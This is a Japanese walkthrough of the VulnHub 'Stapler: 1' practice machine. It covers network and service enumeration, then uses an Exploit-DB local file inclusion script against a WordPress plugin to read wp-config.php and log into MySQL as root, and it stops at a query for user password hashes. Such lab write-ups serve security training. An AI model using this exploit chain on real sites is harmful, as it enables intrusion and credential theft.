3
3

More than 3 years have passed since last update.

【VulnHub】Stapler: 1 - Walkthrough -

Last updated at Posted at 2019-09-12

Stapler: 1」は、「Stapler」によって開発され、VulnHubにて公開されているシリーズの一つです。

リリース情報

名称: Stapler: 1
リリース日: 2016年6月8日
シリーズ: Stapler
作者: g0tmi1k
Twitter: @g0tmi1k

Walkthrough

列挙

稼働しているIPアドレスの特定

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

 Currently scanning: Finished!   |   Screen View: Unique Hosts                    

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                   
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.                   
 172.16.208.205  00:0c:29:31:91:cc      1      60  VMware, Inc.                   
 172.16.208.254  00:50:56:f0:ad:14      1      60  VMware, Inc.

これで、標的のIPアドレスが172.16.208.205であることが特定できました。

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 172.16.208.205コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.205
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-11 12:37 JST
Nmap scan report for 172.16.208.205
Host is up (0.00079s latency).
Not shown: 65523 filtered ports
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.27-0ubuntu0.16.04.1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.70%I=7%D=9/11%Time=5D786C73%P=i686-pc-linux-gnu%r(NULL,
SF:2350,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x152
SF:\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x04\
SF:xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\xa2\
SF:x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2\x0
SF:c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\xb2
SF:\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xaeu\x
SF:eeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\xd3\
SF:x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\xa0\
SF:xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\x87
SF:\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\xf4
SF:\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\xdc
SF:\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd5\
SF:x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xaf\
SF:xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:\x
SF:c3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\x8
SF:a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\xe
SF:7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd\x
SF:f6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc\x9
SF:a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\xf
SF:1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\xf
SF:8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaak\x
SF:d7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\xd
SF:2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7f\x
SF:f9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb\[\
SF:x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\xcc
SF:\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa7\
SF:xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\xf
SF:d\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x96\
SF:x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f\x
SF:d0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf4\x
SF:ed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\x8
SF:8\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xbcL
SF:}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0\.
SF:npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04\xf
SF:6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\xf3
SF:\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\?\
SF:xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 00:0C:29:31:91:CC (VMware)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.15 seconds
root@kali:~# 

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
httpサービスが80/tcp12380/tcpの2つのポート番号で稼働している点は大きな特徴といえそうです。

ポート番号 サービス バージョン
21/tcp ftp vsftpd 2.0.8 or later
22/tcp ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp domain dnsmasq 2.75
80/tcp http PHP cli server 5.5 or later
139/tcp netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp doom?
3306/tcp mysql MySQL 5.7.12-0ubuntu1
12380/tcp http Apache httpd 2.4.18 ((Ubuntu))

FTPサービスのスキャン

まず、FTPサービス - 21/tcpに対して匿名接続を試みてみます。

root@kali:~# ftp 172.16.208.205
Connected to 172.16.208.205.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220 
Name (172.16.208.205:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
ftp> 

noteファイルをダウンロードします。

ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.00 secs (27.0285 kB/s)
ftp> quit
221 Goodbye.

noteファイルの記述は次のとおりでした。

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

これまでに、次のユーザアカウントが存在していることが確認できました。

  • Harry
  • Elly
  • John

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcp12380/tcpにアクセスしてみます。
80/tcpでは、Not Found表示でした。
80tcp.png

12380/tcpでは、Coming Soon表示です。この結果から、実質的なコンテンツは12380/tcp側に用意されていると推定されます。
12380tcp.png

HTMLソースを確認してみましょう。
HTML.png

<!– A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! –>

コメントから、Zoeは人事部長であることが推定できます。

ウェブサイトの診断

12380/tcpを中心に、ウェブサイトの診断を行います。niktoを使用してみます。

root@kali:~# nikto -h http://172.16.208.205:12380/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.205
+ Target Hostname:    172.16.208.205
+ Target Port:        12380
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time:         2019-09-11 12:59:08 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x15 0x5347c53a972d1 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Hostname '172.16.208.205' does not match certificate's names: Red.Initech
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD 
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 7690 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2019-09-11 13:00:56 (GMT9) (108 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 

3つのディレクトリ/admin112233/ & /blogblog/ & /phpmyadmin/と、robots.txtの存在が特定されました。
また、The site uses SSL and the Strict-Transport-Security HTTP header is not defined.メッセージから、このサイトはHTTPSでも運用されていることが判明しました。

  • robots.txtファイル
    robots.png
    HTTP接続では、Coming Soon表示のままです。そこで、HTTPS接続を試みたところ、robots.txtの内容を確認することができました。

  • /admin112233/ディレクトリ
    admin112233.png

  • /phpmyadmin/ディレクトリ
    phpmyadmin.png

  • /blogblog/ディレクトリ
    blogblog.png
    blogblog_tail.png
    /blogblog/ディレクトリのフッター情報から、標的はCMSとしてWordPressを使用していることが推定できます。

WordPressの診断

WPScanを使ってWordPressが抱えている脆弱性について診断を行います。
wpscan.rb -u https://172.16.208.205:12380/blogblog/ --disable-tls-checks -e at -e ap -e uコマンド構文をを使用します。各オプションの狙いは、次の通りです。今回は、省略表記(--url ではなく、 -u)を使用しています。

  • --url | -u <標的のURL>
  • --disable-tls-checks : SSL/TLS証明書の検証を無効にする
  • --enumerate | -e <オプション>: オプションの内容を列挙する
    • at: すべてのテーマを列挙する
    • ap: すべてのプラグインを列挙する
    • u: ID1~10までのユーザ名を列挙する

このサイトでは自己署名証明書を使用しています。このため発生するエラーを回避するため、--disable-tls-checksオプションを指定します。

root@kali:~# locate wpscan.rb
/usr/share/wpscan/wpscan.rb
root@kali:~# /usr/share/wpscan/wpscan.rb -u https://172.16.208.205:12380/blogblog/ --disable-tls-checks -e at -e ap -e u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: https://172.16.208.205:12380/blogblog/
[+] Started: Wed Sep 11 13:28:47 2019

診断結果からは、bhostテーマを使っていることが解ります。

[+] WordPress theme in use: bhost - v1.2.9

[+] Name: bhost - v1.2.9
 |  Last updated: 2018-01-10T00:00:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/themes/bhost/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/themes/bhost/readme.txt
[!] The version is out of date, the latest version is 1.4.0
 |  Style URL: https://172.16.208.205:12380/blogblog/wp-content/themes/bhost/style.css
 |  Theme Name: BHost
 |  Theme URI: Author: Masum Billah
 |  Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This the...
 |  Author: Masum Billah
 |  Author URI: http://getmasum.net/

このほか、advanced-video-embed-embed-videos-or-playlistsakismetshortcode-uitwo-factorという4つのプラグインを使用していることが判明しています。

[+] Enumerating all plugins (may take a while and use a lot of system resources) ...

   Time: 00:05:40 <=======================> (82466 / 82466) 100.00% Time: 00:05:40

[+] We found 4 plugins:

[+] Name: advanced-video-embed-embed-videos-or-playlists - v1.0
 |  Latest version: 1.0 (up to date)
 |  Last updated: 2015-10-14T13:52:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[!] Directory listing is enabled: https://172.16.208.205:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/

[+] Name: akismet
 |  Latest version: 4.1.2 
 |  Last updated: 2019-05-14T15:05:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/akismet/

[!] We could not determine the version installed. All of the past known vulnerabilities will be output to allow you to do your own manual investigation.

[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8215
    Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
[i] Fixed in: 3.1.5

[+] Name: shortcode-ui - v0.6.2
 |  Last updated: 2019-01-16T22:56:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/shortcode-ui/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[!] The version is out of date, the latest version is 0.7.4
[!] Directory listing is enabled: https://172.16.208.205:12380/blogblog/wp-content/plugins/shortcode-ui/

[+] Name: two-factor
 |  Latest version: 0.4.7 
 |  Last updated: 2019-07-18T11:14:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/two-factor/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/plugins/two-factor/readme.txt
[!] Directory listing is enabled: https://172.16.208.205:12380/blogblog/wp-content/plugins/two-factor/

10件のユーザ名を列挙することに成功しました。これらのユーザは、FTPサービスのスキャンにて判明した名前と重複しています。

[+] Enumerating usernames ...
[+] We identified the following 10 users:
    +----+---------+-----------------+
    | ID | Login   | Name            |
    +----+---------+-----------------+
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |
    +----+---------+-----------------+

[+] Finished: Wed Sep 11 13:35:53 2019
[+] Elapsed time: 00:07:06
[+] Requests made: 100772
[+] Memory used: 119.852 MB
root@kali:~# 

SMBの診断

ポートスキャンの結果から得られた139/tcp open netbios-ssnに注目し、SMBの脆弱性を診断します。まず、enum4linuxコマンドを実行します。

root@kali:~# enum4linux 172.16.208.205
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Sep 11 21:43:43 2019

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 172.16.208.205
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================== 
|    Enumerating Workgroup/Domain on 172.16.208.205    |
 ====================================================== 
[+] Got domain/workgroup name: WORKGROUP

 ============================================== 
|    Nbtstat Information for 172.16.208.205    |
 ============================================== 
Looking up status of 172.16.208.205
    RED             <00> -         H <ACTIVE>  Workstation Service
    RED             <03> -         H <ACTIVE>  Messenger Service
    RED             <20> -         H <ACTIVE>  File Server Service
    ..__MSBROWSE__. <01> - <GROUP> H <ACTIVE>  Master Browser
    WORKGROUP       <00> - <GROUP> H <ACTIVE>  Domain/Workgroup Name
    WORKGROUP       <1d> -         H <ACTIVE>  Master Browser
    WORKGROUP       <1e> - <GROUP> H <ACTIVE>  Browser Service Elections

コンピュータ名はREDでした。

 =========================================== 
|    Share Enumeration on 172.16.208.205    |
 =========================================== 
WARNING: The "syslog" option is deprecated

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    kathy           Disk      Fred, What are we doing here?
    tmp             Disk      All temporary files should be stored here
    IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            RED

[+] Attempting to map shares on 172.16.208.205
//172.16.208.205/print$ Mapping: DENIED, Listing: N/A
//172.16.208.205/kathy  Mapping: OK, Listing: OK
//172.16.208.205/tmp    Mapping: OK, Listing: OK
//172.16.208.205/IPC$   [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

kathyディレクトリが共有されています。ユーザ一覧を取得することができました。

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

smbclient //172.16.208.205/kathyコマンド構文を実行し、共有の状態を確認してみましょう。

root@kali:~# smbclient //172.16.208.205/kathy
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jun  4 01:52:52 2016
  ..                                  D        0  Tue Jun  7 06:39:56 2016
  kathy_stuff                         D        0  Mon Jun  6 00:02:27 2016
  backup                              D        0  Mon Jun  6 00:04:14 2016

        19478204 blocks of size 1024. 15962844 blocks available

kathy_stuffbackupディレクトリにアクセスすることができます。

smb: \> cd kathy_stuff\
smb: \kathy_stuff\> ls
  .                                   D        0  Mon Jun  6 00:02:27 2016
  ..                                  D        0  Sat Jun  4 01:52:52 2016
  todo-list.txt                       N       64  Mon Jun  6 00:02:27 2016

        19478204 blocks of size 1024. 15962844 blocks available
smb: \kathy_stuff\> get todo-list.txt 
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (6.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)
smb: \kathy_stuff\> cd ..
smb: \> cd backup\
smb: \backup\> ls
  .                                   D        0  Mon Jun  6 00:04:14 2016
  ..                                  D        0  Sat Jun  4 01:52:52 2016
  vsftpd.conf                         N     5961  Mon Jun  6 00:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Tue Apr 28 02:14:46 2015

        19478204 blocks of size 1024. 15962844 blocks available
smb: \backup\> get vsftpd.conf 
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (646.8 KiloBytes/sec) (average 309.7 KiloBytes/sec)
smb: \backup\> quit

kathy_stuff内には、todo-list.txtと名付けられたファイルが見つかりました。同様にbackup内には、vsftpd.conf設定ファイルが見つかりました。
todo-list.txtの内容を確認してみましょう。

root@kali:~# cat todo-list.txt 
I'm making sure to backup anything important for Initech, Kathy

TCP 666のスキャン

nmapコマンドの結果から、666/tcpがオープン状態であったことが特定されています。そこで、telnetコマンドを使ってバナー情報を取得してみましょう。
banner.png
PK文字列から、ZIP圧縮されたファイルのようです。ncコマンドを使ってファイルを取得してみます。

root@kali:~# nc 172.16.208.205 666 > output

取得したファイルの詳細をfileコマンド、binwalkコマンドで確認してみましょう。併せて、unzipコマンドでファイルの展開も試みてみました。

root@kali:~# file output
output: Zip archive data, at least v2.0 to extract
root@kali:~# binwalk output

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 11434, uncompressed size: 12821, name: message2.jpg
11586         0x2D42          End of Zip archive

root@kali:~# unzip output
Archive:  output
  inflating: message2.jpg            
root@kali:~# file message2.jpg 
message2.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, baseline, precision 8, 364x77, frames 3
root@kali:~# binwalk message2.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

root@kali:~# 

どうやら、推測のとおりmessage2.jpgは画像ファイルのようです。
message2.jpg
得られた画像ファイルから次の展開を検討するのは難しそうです。

アクセスの取得

これまで、列挙にて得られた情報から、複数のアプローチによるアクセスの取得が期待できます。

WordPress アプローチ

searchsploitコマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみましょう。
判明しているプラグインadvanced-video-embed-embed-videos-or-playlistsにあたりをつけます。

root@kali:~# searchsploit advanced video
------------------------------------------ ----------------------------------------
 Exploit Title                            |  Path
                                          | (/usr/share/exploitdb/)
------------------------------------------ ----------------------------------------
WordPress Plugin Advanced Video 1.0 - Loc | exploits/php/webapps/39646.py
------------------------------------------ ----------------------------------------
Shellcodes: No Result
root@kali:~# 

39646.py(EDB-ID: 39646)がLocal File Inclusionのコードとして使えそうです。
39646.pyコードをホームディレクトにコピーし、実行してみます。

root@kali:~# cp /usr/share/exploitdb/exploits/php/webapps/39646.py 39646.py
root@kali:~# python 39646.py 
Traceback (most recent call last):
  File "39646.py", line 41, in <module>
    objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
  File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python2.7/urllib2.py", line 429, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/urllib2.py", line 447, in _open
    '_open', req)
  File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/urllib2.py", line 1228, in http_open
    return self.do_open(httplib.HTTPConnection, req)
  File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [Errno 111] Connection refused>

エラーを修正するために、次のコードを追加します。また、url =パラメータの値を標的に変更しておきましょう。

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

mod_39646.png

39646.pyコードを修正後、実行すると、uploadsディレクトリにjpegファイルが作成されます。
exploit_39646.png

そのうちの一つ、1823284410.jpegファイルをwgetコマンドで取得します。fileコマンドにてファイル形式を確認すると、PHP script, ASCII text形式であることが確認できます。

root@kali:~# wget --no-check-certificate https://172.16.208.205:12380/blogblog/wp-content/uploads/1823284410.jpeg
--2019-09-12 10:45:23--  https://172.16.208.205:12380/blogblog/wp-content/uploads/1823284410.jpeg
Connecting to 172.16.208.205:12380... connected.
WARNING: The certificate of ‘172.16.208.205’ is not trusted.
WARNING: The certificate of ‘172.16.208.205’ hasn't got a known issuer.
The certificate's owner does not match hostname ‘172.16.208.205’
HTTP request sent, awaiting response... 200 OK
Length: 3042 (3.0K) [image/jpeg]
Saving to: ‘1823284410.jpeg’

1823284410.jpeg    100%[=============>]   2.97K  --.-KB/s    in 0.001s  

2019-09-12 10:45:23 (2.65 MB/s) - ‘1823284410.jpeg’ saved [3042/3042]
root@kali:~# file 1823284410.jpeg 
1823284410.jpeg: PHP script, ASCII text

1823284410.jpegファイルの内容を確認したところ、MySQLに関するクレデンシャル情報を取得することができました。
39646.pyコードは、ローカルファイル(wp-config.php)の内容を読み取り、そのファイルを.jpegイメージとして/wp-content/uploadsディレクトリに保存する機能を有しています。

root@kali:~# cat 1823284410.jpeg 
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, and ABSPATH. You can find more information by visiting
 * {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
 * Codex page. You can get the MySQL settings from your web host.
 *
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

MySQL探索

MySQLデータベースに直接ログインします。

root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205 -e "show databases;" 
+--------------------+
| Database           |
+--------------------+
| information_schema |
| loot               |
| mysql              |
| performance_schema |
| phpmyadmin         |
| proof              |
| sys                |
| wordpress          |
+--------------------+
root@kali:~#

wordpressデータベースのテーブルについて確認します。

root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205 -p wordpress -e "show tables"
Enter password: 
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
root@kali:~# 

wordpressデータベースのwp_usersテーブルを照会してみましょう。ハッシュ化されたパスワードの一覧を取得することに成功しました。

root@kali:~# mysql -uroot -pplbkac -h 172.16.208.205 -p wordpress -e "select * from wp_users"
Enter password: 
